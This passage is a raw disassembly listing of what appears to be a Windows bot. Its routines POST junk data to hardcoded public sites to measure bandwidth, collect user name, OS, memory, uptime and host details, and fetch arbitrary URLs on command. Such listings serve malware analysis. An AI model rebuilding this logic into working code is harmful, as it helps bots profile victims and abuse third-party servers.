esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_43A398 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_43A370 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_43A340 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_43A0D8 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 call dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CB634 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB6B4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433EE4 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB6CC ; closesocket push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB6CC ; closesocket push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A4E0 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB900 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_4270C8 ; GetVersionExA test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_427078 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43D7E8 mov [ebp+var_CC], 94h call dword_4270C8 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_431944 loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431940 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_43193C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431938 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_431934 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431930 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431928 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_2 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437EFC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB514 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CB674 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB5EC ; gethostbyaddr cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset dword_43A7D4 push ebx mov esi, 409h push ebx push esi call dword_427104 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_427100 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_427194 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A6F8 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB71C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB4F8 ; InternetGetConnectedStateEx test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A854 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A84C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A848 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A844 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A800 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A934 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB530 ; InternetCrackUrlA test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB5E4 call dword_4CB608 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB5FC ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CB5A8 ; HttpSendRequestA test eax, eax jz short loc_41AF48 push offset dword_43A918 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A8DC jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A8C0 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A894 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A864 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CB668 ; InternetCloseHandle push [ebp+var_4] call dword_4CB668 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; sub_401221+14Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; 